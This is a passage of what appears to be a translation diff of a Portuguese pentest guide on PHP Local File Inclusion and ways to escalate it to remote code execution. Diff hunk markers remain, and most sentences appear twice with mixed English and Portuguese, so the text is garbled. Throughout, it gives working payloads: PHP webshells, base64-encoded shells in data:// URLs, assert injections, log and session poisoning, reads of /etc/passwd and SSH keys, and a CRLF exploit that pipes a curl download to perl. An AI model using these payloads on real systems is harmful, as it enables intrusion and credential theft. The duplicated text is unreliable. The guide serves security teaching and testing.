This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrate o conteúdo de arquivos abertos:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não sei ao certo como isso poderia ser útil em um ataque)
Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
### zip:// and rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
Envie um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
Para poder abusar do protocolo rar ele **precisa ser especificamente ativado**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Observe que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
Observe que este protocolo é restringido pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
### expect://
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Um arquivo `.phar` pode ser usado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo `.phar`:
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web faz uso de funções como `include` para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -358,11 +358,11 @@ Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
```bash
php --define phar.readonly=0 create_path.php
```
Após a execução, um arquivo chamado `test.phar` será criado, que potencialmente pode ser utilizado para explorar vulnerabilidades Local File Inclusion (LFI).
Após a execução, um arquivo chamado `test.phar` será criado, que potencialmente pode ser aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).
Em casos onde a LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de deserialization. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Para uma compreensão detalhada sobre explorar vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,36 +373,36 @@ phar-deserialization.md
### CVE-2024-2961
Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter uma RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Resumo rápido: um **3 byte overflow** no heap do PHP foi abusado para **alterar a chain of free chunks** de um tamanho específico a fim de poder **write anything in any address**, então um hook foi adicionado para chamar **`system`**.\
Foi possível alloc chunks de tamanhos específicos abusando de mais php filters.
Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter um RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Resumo muito rápido: um **3 byte overflow** no PHP heap foi abusado para **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, então foi adicionada uma hook para chamar **`system`**.\
Foi possível alloc chunks of specific sizes abusing more php filters.
### Mais protocolos
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Veja mais possíveis[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acesso ao sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acesso a URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acesso a URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (Não retorna nada imprimível, então não é muito útil aqui)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar pathnames que correspondam ao padrão (Não retorna nada imprimível, então não é muito útil aqui)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Não útil para ler arquivos arbitrários)
## LFI via PHP's 'assert'
Os riscos de Local File Inclusion (LFI) no PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código contido em strings. Isso é particularmente problemático se entradas contendo caracteres de directory traversal como ".." forem verificadas mas não devidamente sanitizadas.
Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se uma entrada contendo caracteres de directory traversal como ".." estiver sendo verificada mas não for devidamente sanitizada.
Por exemplo, o código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Enquanto isso visa impedir traversal, isso inadvertidamente cria um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um attacker poderia usar:
Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um atacante poderia usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
De forma semelhante, para executar comandos arbitrários do sistema, pode-se usar:
Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
```plaintext
' and die(system("id")) or '
```
@ -411,36 +411,36 @@ De forma semelhante, para executar comandos arbitrários do sistema, pode-se usa
## PHP Blind Path Traversal
> [!WARNING]
> Esta técnica é relevante em casos onde você **control** o **file path** de uma **PHP function** que irá **access a file** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) já que o conteúdo não é exibido.
> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porém o conteúdo não é exibido.
No [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Resumindo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **big** que a **PHP function opening** o arquivo vai disparar um **error**.
Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**.
Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **place other chars at the beggining and leak them**.
Então, para leak the first char o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**.
Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Para os detalhes técnicos, consulte o post mencionado!
Para os detalhes técnicos, confira o post mencionado!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Quando o código server-side que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalising e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell.
Quando o código do lado servidor que ingere/uploads arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita arbitrária de arquivo. Se você puder colocar o payload em um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell.
Fluxo típico de exploração:
- Identifique um write primitive em um endpoint ou background worker que aceite um path/filename e grave conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Exemplos comuns:
- Identificar uma primitiva de escrita em um endpoint ou background worker que aceita um path/filename e grava conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determinar diretórios expostos na web. Exemplos comuns:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Crie um traversal path que saia do diretório de armazenamento pretendido para o webroot, e inclua o conteúdo do seu webshell.
- Navegue até o payload dropado e execute comandos.
- Criar um caminho de traversal que saia do diretório de armazenamento pretendido para o webroot e inclua o conteúdo do seu webshell.
- Acesse o payload dropado e execute comandos.
Observações:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá o seu payload posteriormente.
- Em stacks Java, essas gravações de arquivo frequentemente são implementadas com simples concatenação `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central.
Notas:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá seu payload depois.
- Em stacks Java, essas escritas de arquivo são frequentemente implementadas com concatenação simples de `File`/`Paths`. Falta de canonicalização/allow-listing é a falha central.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,10 +466,10 @@ in.transferTo(out);
</Command>
</JMF>
```
Reforços que previnem essa classe de bugs:
- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base na allow-list.
- Rejeite qualquer caminho que contenha `..`, raízes absolutas, ou letras de drive; prefira nomes de arquivo gerados.
- Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita das raízes servidas.
Medidas de hardening que impedem esta classe de bugs:
- Resolva para um caminho canônico e imponha que seja um descendente de um diretório base allow-listed.
- Rejeite qualquer caminho contendo `..`, caminhos absolutos ou letras de unidade; prefira nomes de arquivo gerados.
- Execute o processo de escrita com uma conta de baixo privilégio e segregue os diretórios de escrita das raízes servidas.
## Remote File Inclusion
@ -477,14 +477,14 @@ Explicado anteriormente, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **GET parameter** uma php shell como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
> [!WARNING]
> Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** aí e **nada mais será executado**.
> Observe que **se você usar aspas duplas** para a shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP lançará um erro** ali e **nada mais será executado**.
>
> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP gerará um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.\
Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. A PHPShell poderia ser inserida dentro desse header.\
Outros possíveis caminhos de log:
```python
/var/log/apache2/access.log
@ -499,14 +499,14 @@ Outros possíveis caminhos de log:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
### Via e-mail
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu PHP payload como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
1. Faça upload de muitas shells (por exemplo: 100)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser obtido por força bruta) e $FD o descritor de arquivo (também pode ser obtido por força bruta)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD = descritor de arquivo (pode ser brute forced também)
### Via /proc/self/environ
@ -517,21 +517,21 @@ User-Agent: <?=phpinfo(); ?>
```
### Via upload
Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (por exemplo: `<?php system($_GET['c']); ?>`).
Se você puder fazer upload de um arquivo, apenas injete o shell payload nele (ex.: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/documentos/PDF
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
### Via upload de arquivo ZIP
### Via upload de arquivo Zip
Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse:
Envie um arquivo ZIP contendo um PHP shell comprimido e acesse:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Através de PHP sessions
### Via sessões PHP
Verifique se o site usa PHP Session (PHPSESSID)
Verifique se o site usa sessões PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -545,32 +545,32 @@ Defina o cookie para `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use o LFI para incluir o arquivo de sessão do PHP
Use o LFI para incluir o arquivo de sessão PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Se o ssh estiver ativo, verifique qual usuário está em uso (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade de Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, podem ser considerados os seguintes passos:
1. Injete um payload PHP no campo username durante o processo de login.
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
1. Injete um PHP payload no campo username durante o processo de login.
2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Como mostrado em [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o PHP base64 filter ignora caracteres não-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termine com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termine com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (sem necessidade de arquivo)
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** em um arquivo.
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.
{{#ref}}
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo.
**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx armazenamento de arquivos temporários
### Via Nginx temp file storage
Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você pode conseguir RCE com a técnica a seguir:
Se você encontrou uma **Local File Inclusion** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a técnica a seguir:
{{#ref}}
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma **Local File Inclusion** mesmo se você **não tiver uma session** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP **ativará a session para você**. Você pode abusar disso para obter RCE:
Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via uploads de arquivos temporários no Windows
### Via temp file uploads in Windows
Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode obter RCE:
Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows**, você pode obter RCE:
{{#ref}}
@ -621,7 +621,7 @@ The following request create a file in `/tmp/hello.php` with the content `<?=php
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
O seguinte explora uma vuln CRLF para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
O seguinte explora uma CRLF vuln para obter RCE (de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Se você encontrar uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
{{#ref}}
@ -639,16 +639,16 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Se você encontrar uma **Local File Inclusion** e **conseguir exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com esta **Race Condition**:
Se você encontrou uma **Local File Inclusion** e você **pode exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via espera eterna + bruteforce
### Via eternal waiting + bruteforce
Se você puder abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, você pode então tentar por força bruta os nomes de arquivo durante horas para encontrar o arquivo temporário:
Se você conseguir abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force** nomes de arquivo por horas para encontrar o arquivo temporário:
{{#ref}}
@ -657,14 +657,15 @@ lfi2rce-via-eternal-waiting.md
### Para Fatal Error
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para disparar esse erro).
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (É preciso incluir o mesmo arquivo 2 vezes para provocar esse erro).
**Não sei quão útil isso é, mas pode ser.**\
_Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP carregados são deletados._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Referências
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)